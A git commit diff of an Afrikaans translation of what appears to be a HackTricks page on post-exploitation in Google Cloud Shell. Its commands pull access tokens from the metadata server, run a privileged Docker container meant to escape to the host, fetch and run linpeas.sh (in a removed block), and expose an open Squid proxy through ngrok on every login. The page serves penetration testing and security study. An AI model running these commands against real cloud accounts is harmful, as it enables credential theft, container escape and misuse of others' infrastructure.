Translated ['', 'src/pentesting-cloud/gcp-security/gcp-post-exploitation

This commit is contained in:
Translator
2025-12-08 11:39:31 +00:00
parent bd315f2f41
commit 73c0ef31a6

View File

@@ -4,46 +4,46 @@
## Cloud Shell ## Cloud Shell
Vir meer inligting oor Cloud Shell, sien: Vir meer inligting oor Cloud Shell kyk:
{{#ref}} {{#ref}}
../gcp-services/gcp-cloud-shell-enum.md ../gcp-services/gcp-cloud-shell-enum.md
{{#endref}} {{#endref}}
### Container Escape ### Verkry gebruiker se token vanaf metadata
Let wel dat die Google Cloud Shell binne 'n container loop; jy kan **easily escape to the host** deur die volgende te doen: Deur net toegang tot die metadata-server te kry, kan jy 'n token bekom om toegang te kry as die tans aangemelde gebruiker:
```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
```
### Container Escape / Docker use
> [!WARNING]
> Voorheen het die cloud shell in 'n container geloop met toegang tot die docker socket van die host. Nou het Google die argitektuur verander en die cloud shell-container loop in 'n "Docker in a container" opstelling. Dus, selfs al is dit moontlik om docker vanaf die cloud shell te gebruik, sal jy nie na die host kan ontsnap deur die docker socket te gebruik nie.
> Neem kennis dat voorheen die `docker.sock`-lêer geleë was in `/google/host/var/run/docker.sock` maar nou is dit verskuif na `/run/docker.sock`.
<details> <details>
<summary>Container escape commands</summary> <summary>Docker use / Oude container escape-kommando's</summary>
```bash ```bash
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper sudo docker -H unix:///run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh
``` ```
</details> </details>
Dit word nie deur google as 'n kwesbaarheid beskou nie, maar dit gee jou 'n breër insig in wat in daardie omgewing gebeur. Bovendien was dit in die verlede moontlik om 'n token vir 'n service account wat deur die cloud shell VM gebruik is, in die metadata server te vind:
Boonop, let daarop dat jy vanaf die host 'n service account token kan vind:
<details> <details>
<summary>Haal service account uit metadata</summary> <summary>Ou service account van metadata</summary>
```bash ```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/ default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/
``` ```
</details>
Met die volgende scopes: Met die volgende scopes:
<details>
<summary>Haal service account scopes op</summary>
```bash ```bash
wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes" wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"
@@ -53,23 +53,11 @@ https://www.googleapis.com/auth/monitoring.write
``` ```
</details> </details>
Enumereer metadata met LinPEAS:
<details>
<summary>Enumereer metadata met LinPEAS</summary>
```bash
cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud
```
</details>
Na die gebruik van [https://github.com/carlospolop/bf_my_gcp_permissions](https://github.com/carlospolop/bf_my_gcp_permissions) met die token van die Service Account is **geen permissies gevind**...
### Gebruik dit as Proxy ### Gebruik dit as Proxy
As jy jou google cloud shell instance as Proxy wil gebruik, moet jy die volgende opdragte uitvoer (of dit in die .bashrc file insit): As jy jou google cloud shell instance as proxy wil gebruik, moet jy die volgende opdragte uitvoer (of dit in die .bashrc-lêer plaas):
<details> <details>
@@ -79,11 +67,11 @@ sudo apt install -y squid
``` ```
</details> </details>
Net om jou te laat weet, Squid is 'n http proxy server. Skep 'n **squid.conf**-lêer met die volgende instellings: Net sodat jy weet: Squid is 'n http-proxybediener. Skep die **squid.conf**-lêer met die volgende instellings:
<details> <details>
<summary>Skep 'n squid.conf-lêer</summary> <summary>Skep die **squid.conf**-lêer</summary>
```bash ```bash
http_port 3128 http_port 3128
cache_dir /var/cache/squid 100 16 256 cache_dir /var/cache/squid 100 16 256
@@ -92,21 +80,21 @@ http_access allow all
``` ```
</details> </details>
Kopieer die **squid.conf** lêer na **/etc/squid** kopieer die **squid.conf** lêer na **/etc/squid**
<details> <details>
<summary>Kopieer die konfigurasie na /etc/squid</summary> <summary>Kopieer config na /etc/squid</summary>
```bash ```bash
sudo cp squid.conf /etc/squid sudo cp squid.conf /etc/squid
``` ```
</details> </details>
Laastens voer die squid-diens uit: Laastens begin die squid-diens:
<details> <details>
<summary>Begin squid-diens</summary> <summary>Begin die squid-diens</summary>
```bash ```bash
sudo service squid start sudo service squid start
``` ```
@@ -116,15 +104,15 @@ Gebruik ngrok om die proxy van buite beskikbaar te maak:
<details> <details>
<summary>Maak die proxy met ngrok beskikbaar</summary> <summary>Maak die proxy beskikbaar met ngrok</summary>
```bash ```bash
./ngrok tcp 3128 ./ngrok tcp 3128
``` ```
</details> </details>
Na uitvoering, kopieer die tcp:// url. As jy die proxy vanaf 'n browser' wil gebruik, word dit aanbeveel om die tcp://-deel en die port te verwyder en die port in die portveld van jou browser se proxy-instellings te sit (squid is 'n http proxy server). Na die uitvoering, kopieer die tcp:// url. As jy die proxy vanuit 'n blaaier wil gebruik, word dit aanbeveel om die tcp://-deel en die poort te verwyder en die poort in die poortveld van jou blaaier se proxy-instellings te plaas (squid is a http proxy server).
Vir beter gebruik by opstart moet die .bashrc file die volgende reëls hê: Vir beter gebruik by opstart moet die .bashrc-lêer die volgende reëls hê:
<details> <details>
@@ -137,6 +125,6 @@ cd ngrok;./ngrok tcp 3128
``` ```
</details> </details>
Die instruksies is gekopieer vanaf [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Kyk daardie bladsy vir ander gekke idees om enige soort sagteware (databasisse en selfs windows) in Cloud Shell te laat loop. Die instruksies is gekopieer vanaf [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key](https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key). Kyk daardie bladsy vir ander mal idees om enige soort sagteware (databases en selfs windows) in Cloud Shell te laat loop.
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}